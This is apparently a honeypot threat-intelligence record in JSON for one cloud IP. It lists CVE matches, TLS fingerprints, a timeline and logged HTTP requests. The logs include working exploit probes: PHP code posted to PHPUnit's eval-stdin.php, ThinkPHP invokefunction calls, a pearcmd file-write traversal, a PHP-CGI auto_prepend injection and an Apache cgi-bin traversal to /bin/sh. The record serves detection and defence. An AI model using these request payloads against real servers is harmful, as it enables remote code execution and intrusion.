{"ip":"49.0.202.115","data_as_of":"2026-10-24T14:12:12+00:00","observed":true,"total_events":296,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 3,650,913 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"3,650,913 bytes sent","bytes_sent":3650913,"session_seconds":18,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-02T11:15:52","last_seen":"2026-10-11T12:21:16","events_24h":0,"events_7d":0,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":136907,"org":"HUAWEI CLOUDS"},"source_domain":"ecs-49-0-202-115.compute.hwclouds-dns.com","known_scanners":[],"scanner_tag":{"key":"peeringdb:as136907","label":"Huawei Cloud Global","category":"cdn","url":"https://www.peeringdb.com/asn/136907"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":147},{"port":443,"proto":"tcp","label":"HTTPS","count":147},{"port":2375,"proto":"tcp","label":"Docker","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303e32c56ccb53f895ceab8fa56a9a87015b6ed94de392f89679f6568f527cef80320bb60161e611dba1e2b5b6f55e90584e6d8820226a71ac6bd71d5833411d662f900247a7a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005486a6a000000170000ff01000100000a000c000a4a4a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed4a4a00010011ec04c0d6eac4d1c28a9e1c1951b2a591d06e01829aec6152391800c46430bf13a2cc9bc8b2226cde7a3b01ea0763b910a5892b04721b59d101ea89366b0710b5d7beeb7a9681330d0a8a38a82c43bf9302ccb070af23518165321d424054b8aa0d156cb4f633d759682774b541535e0a63a5839329aa02bc196b91f4d89b754a07aac29ddaf14d92e6ce0b9389ba70581f10cc1a59b48b2719ad4761edf76bb512994abb173292589d48bd2c7381cca2597dd37c39a591449a2fc1831c90dc4e4852a2bf0557fbbc01bf7a6d83a664791b0cec947094606a7f1b2531f4657f7461af2cb415a2102b517e84d42038905b94043983eb226192888ea889b165c56c813c02384794772b9393b78aa62bcdd1bf6c9ab44862c5cdab8f1976c7f7b42ab2231981c620a1f55d1cb4a5e0181b6bc427c3e071275c647264bc7068a2a23a70f7e486218961dd05bd9e04bc031aa3ef0cb7dff26c430ac44a49894cea1806b57725204375b9468839c811f96550c3a6da67629ff3afc564a491acb5bf549ee91882a552aac569540bd7b6fc84541094cb0b7acf27717903832bfd10cbc5ac4270906a98400825d84d3eaa3bfea48f2dac957cec2744e813b98078bd2933cf789a05562bcc39b93c0685f7bb5256141fc7949d0b990d83f750cda08dbe796bbb085959676004fa72f8b830d9873b30c13b4c298e0a34a89356441774abe20ac1dbb870fee281f860c302768a74208e43ac075b2ac44b2a60bf8585cb3951b0230f5ec6c093a25c4058c7e1aabdc2e1728a0c9e9565202c7b773e4bb41a1bca9b8c46865192174a03c53b5638f44168f75a359caa43f1a20aa46791cb4de074757ae193456b62665686a1721ec2bb55daa204c2fc41c4ac4ed236cca7abbaf2164470757bf0090456267a7fb6453715413e4712a5bcb21af59979040eb34873c200ceed159aa0e762f659360f147a82f378429ca8930935a41c015b594326f1213ed576ab495e42a64f7cc3957e64c176a8a3eae9893449abfba2451a970c5c85af4061220064853dd16245c41a47b9a911dc8d6cd254a05b8959d82a699098097459bc25a3de8188c2ac4dc2fc8de8882a7462ba7f6c24435858972a1fed228ede55378013551ef0215f1ac34608586b301231440ed7c535f2c667543cab3c7964d1138378546d3dd01413386ff08461b4d7c28dfaad990713ef102266c190f23ba110acc4fe276ee07b36439548d725447fe336c74b22d33cbe7c79c8a9969815128f9d0370f1b62a4d95b82df86813a6685b19ade4a454e4b7bee3c7b367144a786574c5f71d6ef11638355b4c1024e49366e6173bd4d581a219a263e528f945a9dceb8bf4d958b088745ae20d25145dedfb1166a5af1239adb52ace2102763ff1964d9b7db2937e2bccc5fd4b2192152598b9c804496c3701ae13787e54d38d583ccef9b3a6171027d49a09c43770a8c481cc1a67061643a9d48e6c133dce572f3e66679467404fe09b3633b920c859deb1944ca3787d629025a80ccfe60a6f1c96303459cfa29076e68ea6c90f426a2f30f17a83fb185034910e99153f92a889dba4ad3cc05ed523bcd36a9bc46efd700360306f836297895a80cb1436b1b45480d6f375b69e8990607badeedeafc01aadbdf8bb8beda7659f586ffba84af47934506f15d5765869234d156d210540d3b045792b6ef32dfe576fafd7a2f3c41a001d002048c2f1ee15db0eb0002550b7be3f3554744f6c851b6745e73d32eac29e02ec59002d00020101002b0007063a3a030403031a1a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":156,"b11cun050_00040035_dd905059":283,"b11cuq070_00050835_c0b30902":230},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-02","count":49},{"date":"2026-10-03","count":1},{"date":"2026-10-04","count":49},{"date":"2026-10-05","count":50},{"date":"2026-10-10","count":98},{"date":"2026-10-11","count":49}],"recent_events":[{"timestamp":"2026-10-11T12:21:16","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":49,"duration_ms":17321,"bytes_in":19068,"bytes_out":3773},{"timestamp":"2026-10-11T12:21:15","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":48,"duration_ms":16947,"bytes_in":18916,"bytes_out":3696},{"timestamp":"2026-10-11T12:21:15","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":46,"duration_ms":16229,"bytes_in":18474,"bytes_out":3542},{"timestamp":"2026-10-11T12:21:15","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":47,"duration_ms":16582,"bytes_in":18730,"bytes_out":3619},{"timestamp":"2026-10-11T12:21:14","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":45,"duration_ms":15870,"bytes_in":18228,"bytes_out":3465},{"timestamp":"2026-10-11T12:21:14","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":44,"duration_ms":15491,"bytes_in":17989,"bytes_out":3388},{"timestamp":"2026-10-11T12:21:13","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":41,"duration_ms":14472,"bytes_in":17175,"bytes_out":3157},{"timestamp":"2026-10-11T12:21:13","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":42,"duration_ms":14802,"bytes_in":17448,"bytes_out":3234},{"timestamp":"2026-10-11T12:21:13","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":43,"duration_ms":15132,"bytes_in":17719,"bytes_out":3311},{"timestamp":"2026-10-11T12:21:12","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f626c6f672f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"61d02af3-f6b3-40da-85dc-ca3c2d08cebd","seq":39,"duration_ms":13792,"bytes_in":16620,"bytes_out":3003}],"http_methods":[{"method":"GET","count":254},{"method":"POST","count":42}],"distinct_ports_total":3,"top_paths":[{"path":"/containers/json","count":8,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":6,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":6,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":6,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":6,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":6,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"}]}